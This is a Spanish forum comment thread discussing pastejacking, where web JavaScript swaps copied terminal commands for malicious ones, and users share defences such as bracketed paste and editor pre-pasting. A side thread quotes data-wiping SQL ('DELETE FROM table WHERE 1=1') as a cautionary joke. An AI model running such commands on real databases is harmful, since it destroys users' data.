Menéame: comentarios [3604803]

#125 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Wed, 05 Jan 2022 13:34:00 +0000

#123 Ahora si pones DELETE FROM table WHERE 1=1 estas en el horno
Yo soy mucho de hacer eso cuando tengo que hacer comprobaciones con "AND" u "OR" en un bucle, y así no tienes que andar pensando si es el primer elemento o el resto, y andar poniendo o quitando el AND
Cualquier día se me olvida comprobar si no hay elementos o tengo algún bug raro y me llevo el susto.

» autor: musg0

#124 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

discovery3 — Wed, 05 Jan 2022 13:21:53 +0000

#120 No tengo la obligación de leer los 120 o mas comentarios del artículo. Sólo leí 2 o 3 comentarios tuyos y me dí cuenta que estás discutiendo con todo el mundo por no reconocer que o no leiste el artículo cuando escribiste el primer comentario, o sí lo leíste pero redactaste tu comentario como si no lo hubieras leído.

» autor: discovery3

#123 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

discovery3 — Wed, 05 Jan 2022 12:50:16 +0000

#122 Es buena lo del DELETE ALL
Aunque también le sumaria el UPDATE ALL
Varias veces vi alguno que tiró un update para arreglar un registro productivo y no "pinto" el where al ejecutarlo

Ahora si pones DELETE FROM table WHERE 1=1 estas en el horno... ja

» autor: discovery3

#122 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Wed, 05 Jan 2022 07:36:59 +0000

#116 no digo de quitarlo, sino que no sea tan fácil cagarla. Por ejemplo que delete sin where no haga nada y tengas que poner DELETE ALL explícitamente o algo así

» autor: musg0

#121 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Bellotari_Disimulado — Wed, 05 Jan 2022 01:03:03 +0000

#94 Tío... No se qué quieres demostrar, lo normal es ser un mono que pulsa teclas sin saber que coño hace. Y dices que tienes mucha experiencia en el sector?

» autor: Bellotari_Disimulado

#120 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 22:57:47 +0000

#114 no quedes tu como un idiota por no leer #99

» autor: --84408--

#119 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Razhan — Tue, 04 Jan 2022 22:55:28 +0000

#56 cierto, recuerdo desactivarlo. Y si, me gusta vivir peligrosamente

» autor: Razhan

#118 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Davidavidú — Tue, 04 Jan 2022 22:52:27 +0000

#9 lo dicho. Qué no me he enterado de nada cuando lo he leído. Gracias.

» autor: Davidavidú

#117 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Davidavidú — Tue, 04 Jan 2022 22:51:07 +0000

#17 Gracias. No lo había entendido o estaba durmiendo o estoy ya mayor.

» autor: Davidavidú

#116 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

discovery3 — Tue, 04 Jan 2022 21:56:12 +0000

#95 Infinidad de veces hice a drede delete sin where, porque habrían de quitarlo?

Y no me sirve el truncate porque de esa forma no corren los triggers.

» autor: discovery3

#115 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

discovery3 — Tue, 04 Jan 2022 21:46:18 +0000

En mi firefox no funciona. En chrome sí. Por suerte no uso la porquería de chrome.

» autor: discovery3

#114 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

discovery3 — Tue, 04 Jan 2022 21:45:02 +0000

#89 No te leíste el artículo. Por favor léelo porque sino quedas en ridículo.

» autor: discovery3

#113 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

abnog — Tue, 04 Jan 2022 17:58:00 +0000

#109 Bueno, no es que antes no lo hubieses explicado meridianamente claro, pero si con esta no se despejan las dudas, yo ya no sabría muy bien cómo explicarlo mejor.

» autor: abnog

#112 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

JimmyTM — Tue, 04 Jan 2022 17:52:05 +0000

#109 Como soy un alma generosa te voy a ilustrar (permíteme la soberbia a costa de tu falta de introspección): github.com/gorhill/uBlock/wiki/Per-site-switches#no-scripting

» autor: JimmyTM

#111 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

wendigo — Tue, 04 Jan 2022 17:31:26 +0000

#106 Eh y nadie dice lo contrario. Puede que lo uses o puede que no, pero como usuario no está mal saberlo. No porque te dediques a ello si no porque cualquier persona pode hacer un copypaste y liarla sin querer por un ejecutable esto para X

Millones de foros y webs de informática en general ponen muchas cosas en pro de ayudar al usuario y resolver problemas...y hay otros que son unos hijosdefruta

Saludos

» autor: wendigo

#110 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Deathmosfear — Tue, 04 Jan 2022 17:23:13 +0000

#1 Pa eso están los backups diarios.

» autor: Deathmosfear

#109 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

rafael90 — Tue, 04 Jan 2022 16:59:37 +0000

#98 Te lo deletreo:

-La noticia habla de los riesgos de copiar y pegar comandos porque un javascript malicioso podría alterar lo copiado e insertar comandos peligrosos
- @abnog recomienda usar noscript, una extension de seguridad que bloquea todos scripts salvo los de los dominios que autorices (listas blancas)
-Tu le llamas Vieeeeeeejuuuunnooooooooooooo y argumentas que aquello es innecesario si tienes Ublock (un bloqueador de publicidad con filtros, listas negras de scripts)
-Yo replico que no, que ublock y similares apenas protegen contra javascripts maliciosos porque el sistema de listas negras no protege de amenazas desconocidas: Hay filtros, listas negras, centrados en bloquear malware, pero tardan en actualizarse y en seguida quedan desfasadas, así que los malos van 10 pasos por delante.

...Por lo tanto, siendo necesario una extension lo que lo bloquee todo salvo las excepciones, las listas blancas, como Noscript y uMatrix. Y finalmente pido a los navegadores que pongan limites al javascript web para evitar ataques como este

» autor: rafael90

#108 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

provotector — Tue, 04 Jan 2022 16:51:15 +0000

La gente dice que Windows no es seguro, pero simplemente el no tener que ir copiando y pegando comandos que ves en webs, para hacer cualquier cosa, es una barrera de seguridad de lo más potente. En Linux, tienes que entender los comandos y cuando no tienes tiempo y necesitas hacer algo, los copias, los pegas y ya está. La gente no entiende el riesgo de seguridad que ello supone.

» autor: provotector

#107 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

FooDev — Tue, 04 Jan 2022 16:25:22 +0000

#88 Si claro, sin el formato ni los estilos asociados. A ver quien encuentra algo ahi.

» autor: FooDev

#106 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

oso_69 — Tue, 04 Jan 2022 16:23:55 +0000

#7 #8 #87 Precisamente lo que digo es que ni soy programador, ni soy administrador de sistemas, ni investigador de seguridad ni aficionado a la tecnología hasta el punto de trabajar con comandos. Soy windowsero de puntero e icono. El único "comando" que ejecuto muy rarísimamente es el "config".

» autor: oso_69

#105 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

frankiegth — Tue, 04 Jan 2022 16:00:48 +0000

#2. Copia primero en un editor de texto para comprobar lo que explica #8. El problema es que el propio pegado incluye la ejecución con un "return" a través de un cambio de linea :

'...Not only do you get a completely different command present on your clipboard, but to make matters worse, it has a newline (or return) character at the end of it. This means the above example would execute as soon as it's pasted directly into a Linux terminal...'

Es decir, lo que pegas no solo lo pegas, también lo ejecutas con el propio pegado en la terminal Gnu/Linux.

» autor: frankiegth

#104 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:43:13 +0000

#103 Suerte entonces, ya verás como la primera vez que te pase aprendes y no te va a volver a pasar nunca. Pero vamos que lo de presumir de mala praxis... es un poco "temerario".

» autor: --84408--

#103 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 15:40:28 +0000

#102 Confirmado: ambas.

» autor: ahotsa

#102 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:38:56 +0000

#101 Madre mía...... espero que no te lean tus jefes y compañeros o te dediques a ello profesionalmente....

» autor: --84408--

#101 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 15:34:27 +0000

#99 Un ejemplo (puede haber otros muchos): conoces el comando, pero te falta una opción, incluso al verlo la recuerdas; ya está analizado; por tanto, lo copias y lo pegas.

A mí ya no me queda tan claro lo tuyo; seguramente sea la mezcla de ambas cosas.

Este es tu inicio, no pierdas la perspectiva:

Quien haga esto, se merece que lo hackeen sin duda alguna.

» autor: ahotsa

#100 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

antihoygan — Tue, 04 Jan 2022 15:31:04 +0000

Que JavaScript pueda modificar el contenido del portapapeles es para hacérselo mirar. Supongo que está definido en el estándar y lo implementan todos los navegadores. Yo tenía a la gente que define el estándar por genios, pero tendré que replanteármelo.

» autor: antihoygan

#99 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:30:28 +0000

#96 Yo lo he entido perfectamente. Lanzar comandos que te has copiado y pegado en un texto y no has analizado antes de ejecutar, por que ahí ves que lo que supuestametne has copiado no es lo que tienes delante, y lo has pegado directamente lanzandolo en la ventana de comandos, o en un tu entorno de ejecución. A mi me está quedando muy claro lo que eres tu.

» autor: --84408--

#98 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

JimmyTM — Tue, 04 Jan 2022 15:27:16 +0000

#64 Permite que diga: pero qué pollas estás diciendo?!

» autor: JimmyTM

#97 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 15:24:04 +0000

#95 A mi me ha pasado dos veces, pero con el UPDATE y en una BD de desarrollo (bien) pero con auto-commit (mal) ¯_(ツ)_/¯

» autor: redscare

#96 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 15:21:42 +0000

#94 Paso de ti. Anda, léelo, sigues discutiendo sin haberlo leído y entendido el problema.

» autor: ahotsa

#95 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Tue, 04 Jan 2022 15:21:04 +0000

#91 Eso creo que no me ha pasado en la vida, pero nunca he entendido como algo tan peligroso no lo remediaron en el primer diseño que hicieron del SQL. Supongo que antes, por las restricciones de hardware que se tenían, y que normalmente la gente sabía lo que se hacía, no le daban importancia

» autor: musg0

#94 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:20:03 +0000

#90 Copiar un comando o fragmento de código de una fuente externa es normal, ejecutarlo sin entenderlo primero o probarlo y confirmar que es válido para tu sistema eso no es lo normal y si te dedicas profesionalmente a ello, apaga y vamonos.

» autor: --84408--

#93 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 15:17:05 +0000

#81 Y las putas comillas, que hay como 5 tipos y según la fuente se distinguen o no: ", ', ` , ´, “, ”

» autor: redscare

#92 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:13:27 +0000

#43 Me quedo flipao con la gente que copia código lo ejecuta directamente, cuando les planteas que antes que lanzar nada habrá que analizarlo, entenderlo y/o adaptarlo te miran raro....poco nos pasa.

» autor: --84408--

#91 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

redscare — Tue, 04 Jan 2022 15:11:31 +0000

#68 Mientras no te olvides de poner el where en el delete from, todo ok

» autor: redscare

#90 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 15:06:29 +0000

#89 Yo no he dicho lo que no sé o no sé. Pero copiar un comando (por mil razones) de una web es de lo más normal.

Por cierto, no habla de copiar código, sino comandos, pero tú a lo tuyo.

Insisto, había dos opciones con tu comentario...

» autor: ahotsa

#89 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--84408-- — Tue, 04 Jan 2022 15:03:21 +0000

#86 A ver si el que no tiene ni puta idea eres tu aparte de demostrar tu falta de profesionalidad. Quien ejecute código en sus sistemas, que ha cogido de una web y no lo haya revisado previamente para entender lo que hace antes de lanzarlo, merece lo que le pase y así aprenderá.

» autor: --84408--

#88 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 14:56:40 +0000

#75 Si haces <ctrl>+a, <ctrl>+c en Stack Overflow y <ctrl>+v en Notepad++, puedes tener todo el Stack Overflow en un txt.

» autor: ahotsa

#87 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 14:53:19 +0000

#5 Claro, dejas de leer y no te enteras. Precisamente ocurre al copiar un texto con un comando.

» autor: ahotsa

#86 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ahotsa — Tue, 04 Jan 2022 14:48:37 +0000

#1 No sé si vas de prepotente o tienes ni puta idea...

» autor: ahotsa

#85 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--633161-- — Tue, 04 Jan 2022 14:40:34 +0000

#8 Yo tengo la costumbre de hacer un diario de todos los servidores que monto o de los problemas raros que soluciono para tenerlo todo documentado.

Me apoyo en un TXT donde primero copio los comandos y luego los ejecuto en el equipo así que sería raro que me la pegasen, también hay que entender lo que se está haciendo, claro.

Pero, aunque ya lo había leido antes, me ha venido bien para reafirmarme en esta práctica de pasar antes por un TXT y luego ejecutar.

» autor: --633161--

#84 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Joder__soy_yo — Tue, 04 Jan 2022 13:52:46 +0000

#15 si, si, se tienen que entender, y tal, pero copio, pego, y después cambiamos parámetros.....
Y si en alguna ocasión un trozo de código hace su magia y no consigo entender porqué.....pues igualmente lo dejo (pasa pocas veces! )

» autor: Joder__soy_yo

#83 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Tue, 04 Jan 2022 13:45:03 +0000

#78 Lo iré probando, porque parece que funciona. También en Ubuntu parece que es el modo por defecto, aunque no veo dónde está configurado, porque veo que se comporta igual sin ponerlo

» autor: musg0

#82 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--690310-- — Tue, 04 Jan 2022 13:40:21 +0000

#50 A mi con Firefox en Ubuntu tampoco me pasa (con uBlock y Privacy badger). He tenido que hacerlo con Chrome para ver el efecto.

» autor: --690310--

#81 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

MAD.Max — Tue, 04 Jan 2022 13:31:18 +0000

#6 jaja, si, el típico guion largo que te parece un guion normal

» autor: MAD.Max

#80 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

MAD.Max — Tue, 04 Jan 2022 13:28:06 +0000

#0 Parece que hace tiempo que se viene hablando de ello ...
security.stackexchange.com/questions/39118/how-can-i-protect-myself-fr y hay protección

» autor: MAD.Max

#79 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

EGraf — Tue, 04 Jan 2022 13:20:30 +0000

y si copias, no te olvides de copiar también el where del delete from

» autor: EGraf

#78 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

MAD.Max — Tue, 04 Jan 2022 13:17:06 +0000

#71 Pues acabo de probar esto ....
cirw.in/blog/bracketed-paste
unix.stackexchange.com/a/600641

Establecer en
~/.inputrc

set enable-bracketed-paste on

No lo conocía, y no está mal ... Al menos te da tiempo a rectificar

» autor: MAD.Max

#77 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

darkvier — Tue, 04 Jan 2022 13:12:15 +0000

#52 creo que ya ha pasado, alguna vez han colado malware en CDNs

» autor: darkvier

#76 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

xalabin — Tue, 04 Jan 2022 13:12:08 +0000

#29 El terminal de xfce lo hace automáticamente.

Edito: por lo menos en manjaro.

» autor: xalabin

#75 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

FooDev — Tue, 04 Jan 2022 13:10:19 +0000

No pienso pasar por un block de notas todos los comandos que robo de stack overflow. Mi productividad se iría al traste. Prefiero jugarmela.

» autor: FooDev

#74 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

LeDYoM — Tue, 04 Jan 2022 12:59:38 +0000

No uséis el copiar y pegar.
Repito, no uséis el copiar y pegar.
Lo digo de nuevo, no uséis el copiar y pegar.
No uséis el copiar y pegar.

» autor: LeDYoM

#73 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

sauron34_1 — Tue, 04 Jan 2022 12:38:46 +0000

#14 y desde hace varias versiones al cerrarlo no cierra los ficheros no guardados. Puede que sea el ptrograma que más tiempo me ahorra quitando el IDE.

» autor: sauron34_1

#72 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

sauron34_1 — Tue, 04 Jan 2022 12:37:27 +0000

Ya claro y qué va a ser lo próximo? No utilizar stackoverflow? Y COMO TRABAJO??

» autor: sauron34_1

#71 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Tue, 04 Jan 2022 12:28:16 +0000

#69 Era un log de correo, así que aparte de borrarme el historial de comandos no ha pasado nada, pero cuando te pasas medio día copiando y pegando cosas entre consolas suele ser muy normal pegar lo que no debes y que creías que habías cambiado en el portapapeles por otra cosa.
Ayer mismo entre "cp" por aquí "rm" por allá me cepillé un fichero que no debía. Menos mal que era una tontería prescindible.
Lo de pedir confirmación al pegar varias líneas en la consola parece que sería una característica útil

» autor: musg0

#70 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

PerritaPiloto — Tue, 04 Jan 2022 12:19:42 +0000

#52 Por supuesto. Pero esto se está intentando. Un colega que se dedica al análisis forense estuvo investigando ataques contra una compañía de publicidad online española. No es ninguna de las grandes como Google Adwords.

» autor: PerritaPiloto

#69 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

MAD.Max — Tue, 04 Jan 2022 12:19:35 +0000

#68 Te aseguro que no eres el primero

Y te imagino buscando a ver si por un casual alguno de ellos pudiera constituir un comando que se pudiera haber ejecutado (obviamente uno de apache no debería dar problema)

» autor: MAD.Max

#68 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

musg0 — Tue, 04 Jan 2022 12:18:13 +0000

#56 Acabo de pegar en la consola por error un log de 200 líneas

» autor: musg0

#67 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

danao — Tue, 04 Jan 2022 12:12:16 +0000

Leer antes de pulsar el enter.

E incluso, pegarlo en tu editor de texto antes de cualquier cosas.

E incluso mejor, entender que estas leyendo y escribirlo tu a manita.

» autor: danao

#66 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

pusilanime_hedonista — Tue, 04 Jan 2022 12:02:48 +0000

#62 Una línea "HERE DOCUMENT", joder, menéame, qué pesado eres.

» autor: pusilanime_hedonista

#65 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

pusilanime_hedonista — Tue, 04 Jan 2022 12:01:23 +0000

#62 Ostra, por lo que se vé a menéame no le gusta los < < Había puesto una línea: echo < < dontbreakmyballs (los < juntos)

» autor: pusilanime_hedonista

#64 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

rafael90 — Tue, 04 Jan 2022 12:01:12 +0000

#39 Ublock Origin funciona con listas negras, así que no va a filtrar javascript malicioso externo que va cambiando dominio o IP, que es lo que hacen los ciberdelincuentes

Lo único que te protegerá son extensiones bloqueadoras con listas blancas, como NoScript o uMatrix... la pega es que rompen webs con gran facilidad (especialmente uMatrix sigue rompiendo ciertas webs incluso tras darles permisos totales)

Lo ideal sería que los navegadores y empresas estandarizadoras se pusieren a crear un sistema de permisos para JS, para impedir usos abusivos o maliciosos (el acceso al historial y portapapeles) salvo en escenarios seguros o previa autorizacion del usuario.

» autor: rafael90

#63 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--673415-- — Tue, 04 Jan 2022 12:00:06 +0000

#53 échale un ojo a #61 que igual te interesa

» autor: --673415--

#62 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

pusilanime_hedonista — Tue, 04 Jan 2022 11:58:48 +0000

#47 pues en vez de # al comienzo pones una línea: echo <<dontbreakmyballs y ya no importa que ponga retornos de carro.

» autor: pusilanime_hedonista

#61 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--673415-- — Tue, 04 Jan 2022 11:54:35 +0000

#50 Tengo activado JS, pero en su día seguí un tutorial que te ponía firefox tocho, todo muy "privado", yo por ejemplo si cierro todas las pestañas de meneame y lo vuelvo a abrir, ya no estoy logueado, tengo que loguearme de nuevo. Algunas funciones de 3D tampoco me funcionan en firefox.

Revisando el tutorial, veo que la línea en concreto es esta:
dom.event.clipboardevents.enabled = false

Hay que cambiarla en about:config.

Por si a alguien le interesa:
restoreprivacy.com/firefox-privacy/

Es muy incómodo al principio, pero se puede vivir con ello y te aporta mucha más privacidad y seguridad que la configuración por defecto.

» autor: --673415--

#60 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

meneandro — Tue, 04 Jan 2022 11:53:27 +0000

El truco de toda la vida: pegas primero en el bloc de notas y a tomar por culo el formato. Luego ya, copias y pegas sólo lo que quieres.

» autor: meneandro

#59 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

meneandro — Tue, 04 Jan 2022 11:51:54 +0000

#47 Aparte de que si prolifera el uso de almohadillas, empezarán a poner saltos de carro como primer caracter.

» autor: meneandro

#58 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

jimyx17 — Tue, 04 Jan 2022 11:50:21 +0000

#15 La versión para programadores de este ataque (muy similar vaya) se llama trojan source y creo que se publico hace no mucho en estas mismas páginas:

www.securityweek.com/trojan-source-attack-abuses-unicode-inject-vulner

Ahora fiate de servidores git públicos....

» autor: jimyx17

#57 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Karmarada — Tue, 04 Jan 2022 11:48:09 +0000

#55 Seguramente es la opción más sensata.

» autor: Karmarada

#56 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

MAD.Max — Tue, 04 Jan 2022 11:43:33 +0000

#29 Curiosamente lo hace la Windows Terminal. La vengo usando desde hace unos meses con un Ubuntu instalado en Win10. Si pegas contenido con un salto de línea te lo muestra y te pregunta si estás seguro porque podría ser dañino.
Anda que no habré metido veces la pata al meter código de portapapeles que contenía otra cosa distinta a lo que creía (por haber seleccionado un texto sin darme cuenta)

» autor: MAD.Max

#55 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

mrM4 — Tue, 04 Jan 2022 11:41:47 +0000

#21 #29 tengo la mala costumbre de ir documentando en ficheros de texto así que nunca va a consola directamente.

» autor: mrM4

#54 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

eldarel — Tue, 04 Jan 2022 11:40:01 +0000

#24 Notepad++ en Windows y vim en Linux.
No siempre me dejan elegir S.O.

» autor: eldarel

#53 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

zancudo — Tue, 04 Jan 2022 11:26:22 +0000

#31 A mí me funciona en Firefox 95.0.2, así que habrá que tener cuidado por si acaso.

» autor: zancudo

#52 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

PacoJones — Tue, 04 Jan 2022 11:24:44 +0000

#45 me da la sensación que antes hackean tu hosting compartido de dos duros que un CDN ofrecido por una grande

» autor: PacoJones

#51 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

estoyausente — Tue, 04 Jan 2022 11:20:56 +0000

#45 Hombre, pues claro. Y lo mismo un día sales de casa y te atropella un camión.

Está claro que todo lo que hagas en Internet tiene cierto riesgo. Todo. Por un lado u otro te pueden joder, o hackear un sitio, o una fuente de datos o el camino hacia ellos... Pero la probabilidad de que pase, de que te pille en medio y, además, el daño que te haga sea grande pues es menor. Si usas GoogleApis pues es menor que si usas fulanitoApis.

(Desde luego que las precauciones en general hay que tenerlas. Porque nadie pensaba que iba a arder el puto OVH entero y ahí está, chamuscao)

» autor: estoyausente

#50 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

lectorcritico — Tue, 04 Jan 2022 11:13:51 +0000

#31 Con Firefox me pasa tambien. Tienes desactivado el JS o alguna extension que controle el JS?
La funcion de copiar en el portapapeles es gracias al JS.

» autor: lectorcritico

#49 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

chemari — Tue, 04 Jan 2022 11:11:27 +0000

#47 Bien visto

» autor: chemari

#48 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

abnog — Tue, 04 Jan 2022 11:10:30 +0000

#39 emojipedia.org/person-shrugging-medium-light-skin-tone/

» autor: abnog

#47 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

avalancha971 — Tue, 04 Jan 2022 11:06:01 +0000

#35 Añadir un # al principio no sirve de nada si el contenido cuenta con varias líneas con salto de línea al final, pues sólo evitará la ejecución de la primera línea.
CC #29

» autor: avalancha971

#46 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 11:05:06 +0000

#44 E incluso hacemos planes de despliegue y se cumplen, e incluso si la funcionalidad es critica y gorda echamos a todos los usuarios y hacemos un freeze time hasta comprobar que todo esta perita y se documentan las pruebas (validadas por negocio) tanto en el jira asociado como en confluence

Puta locura oye lo de seguir el manual

» autor: skaworld

#45 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

PerritaPiloto — Tue, 04 Jan 2022 11:04:13 +0000

#23 Que no ha pasado no significa que no vaya a pasar. Cualquier día hacker malicioso se hace con el control de cualquier CDN de esas en las que todo el mundo confía o con el control de ajax.googleapis al que mucha gente invoca para usar jquery. Quizás tarden cinco minutos en arreglarlo, pero las consecuencias pueden ser desastrosas.

» autor: PerritaPiloto

#44 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

wendigo — Tue, 04 Jan 2022 11:02:41 +0000

#28 Si hombre...y seguro que agendaras las intervenciones, avisarás a todos los grupos, pedireis backup y tendrás el rollback preparado. ¿Que te crees que estás en Linkedin?

Saludos

» autor: wendigo

#43 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 11:00:39 +0000

#41 lo tallo en tablillas de jade y nácar

» autor: skaworld

#42 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

UnDousTres — Tue, 04 Jan 2022 10:56:41 +0000

#14 El mejor editor de texto ever :-). Muy fan tambien.

» autor: UnDousTres

#41 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

chemari — Tue, 04 Jan 2022 10:56:05 +0000

#37 Ya claro, y ahora me dirás que eres uno de esos gurús que aparte de copipastear de stackoverflow escribe su propio código

» autor: chemari

#40 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--349330-- — Tue, 04 Jan 2022 10:53:34 +0000

Quien no usa el Notepad es un parguela

» autor: --349330--

#39 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

JimmyTM — Tue, 04 Jan 2022 10:47:25 +0000

#18 Vieeeeeeejuuuunnooooooooooooo!!!

Lo peor de todo es que probablemente también uses Ublock Origin. Con esa extensión no hacen falta los deshabilitadores de JS.

» autor: JimmyTM

#38 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

gynovin — Tue, 04 Jan 2022 10:42:23 +0000

#24 Emacs!

Cuando no falla el arranque claro.

<sys/errno.h>: Editor too big!

» autor: gynovin

#37 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 10:42:11 +0000

#36 Home sutil diferencia:

-Tu trabajo es copiar y pegar? Sip
-Tu trabajo consiste en copiar y pegar? Nop, tambien tengo que entender que copio, que pego y como lo adapto.

» autor: skaworld

#36 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

chemari — Tue, 04 Jan 2022 10:39:25 +0000

#15 "no puedes basar todo tu trabajo en copiar y pegar"
Jajaja ya, cuéntame otra.

» autor: chemari

#35 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

chemari — Tue, 04 Jan 2022 10:37:08 +0000

#29 La fuente original recomienda escribir el carácter "#" antes de pegar, de esta forma si se ejecuta automáticamente, el sistema lo entiende como un comentario y no hace nada.
cc #21

» autor: chemari

#34 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

avalancha971 — Tue, 04 Jan 2022 10:35:48 +0000

#29 Ni idea, pero me imagino que alguna opción habrá.

Yo es que para trabajar estoy obligado a utilizar Windows, así que utilizo Mobaxterm y desde ahí conecto a las máquinas de Linux.

» autor: avalancha971

#33 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Player — Tue, 04 Jan 2022 10:35:15 +0000

#10 meneame es tu lugar, pequeño padawan.

» autor: Player

#32 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

ronko — Tue, 04 Jan 2022 10:35:10 +0000

#20 El archivo .bashrc tiene un alias que activa siempre el parámetro -i en rm, entiendo que es como una salvaguarda.

» autor: ronko

#31 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

--673415-- — Tue, 04 Jan 2022 10:34:05 +0000

No sé rick, a mi desde Firefox me copia bien, parece que no afecta a Firefox. Lo he probado en chrome y efectivamente se puede cambiar el portapapeles.

Por otro lado, me parece de risa que una web puede alterar tu portapapeles sin tu consentimiento.

RIP Chromium users.

» autor: --673415--

#30 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

mecha — Tue, 04 Jan 2022 10:32:09 +0000

#8 Si la he leído, y es bastante interesante.
Sobre lo de copiar de fuentes fiables que comenta #3, cualquier sitio puede haber sido crackeado y aunque suela ser un sitio de confianza puede que un día en concreto no lo sea.

La altenartiva de pegar en un editor de texto es la mejor opción, pero, siendo sinceros, nadie la hace ni la va a hacer salvo que estos ataques se vuelvan demasiado frecuentes.

» autor: mecha

#29 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

Karmarada — Tue, 04 Jan 2022 10:32:01 +0000

#21 ¿Sabes si eso se puede configurar en el terminal de gnome? ¿me puedes recomendar alguna consola más segura?
Gracias

» autor: Karmarada

#28 No copies y pegues comandos desde páginas web, te pueden hackear [ENG]

skaworld — Tue, 04 Jan 2022 10:31:52 +0000

